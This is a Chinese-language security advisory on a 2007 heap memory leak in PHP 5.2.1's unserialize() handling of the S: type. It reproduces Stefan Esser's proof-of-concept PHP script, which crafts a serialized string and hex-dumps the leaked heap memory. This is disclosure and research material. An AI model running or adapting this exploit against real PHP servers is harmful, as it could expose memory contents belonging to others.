安全研究
安全漏洞
PHP S数据类型序列化格式堆信息泄露漏洞
发布日期:2007-03-23
更新日期:2007-03-28
受影响系统:
PHP PHP 5.2.1描述:
BUGTRAQ ID: 23105
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的unserialize()函数在还原序列化特制的S:数据类型时存在错误,本地攻击者可能利用此漏洞访问到内存信息。
例如,在还原以下转义字符串时:
S:10:"\55\44APXY"
上述例子不会返回6字节的字符串,而是10字节或错误,因为还原序列化不会在处理10个输入字节时停止而是在写出10个输出字节时才会停止。如果下一个字节是“"”字符的话,这就会导致泄漏最后一个实际输出字节与“"”之间的内存。
<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://www.php-security.org/MOPB/MOPB-29-2007.html
http://secunia.com/advisories/24630/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 5.2.1 unserialize() Information Leak Vulnerability //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
$str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"';
$arr = array(str_repeat('"', 200)."1"=>1,str_repeat('"', 200)."2"=>1);
$heapdump = unserialize($str);
echo "Heapdump\n---------\n\n";
$len = strlen($heapdump);
for ($b=0; $b<$len; $b+=16) {
printf("%08x: ", $b);
for ($i=0; $i<16; $i++) {
if ($b+$i<$len) {
printf ("%02x ", ord($heapdump[$b+$i]));
} else {
printf (".. ");
}
}
for ($i=0; $i<16; $i++) {
if ($b+$i<$len) {
$c = ord($heapdump[$b+$i]);
} else {
$c = 0;
}
if ($c > 127 || $c < 32) {
$c = ord(".");
}
printf ("%c", $c);
}
printf("\n");
}
?>
建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net
浏览次数:3484
严重程度:0(网友投票)
绿盟科技给您安全的保障
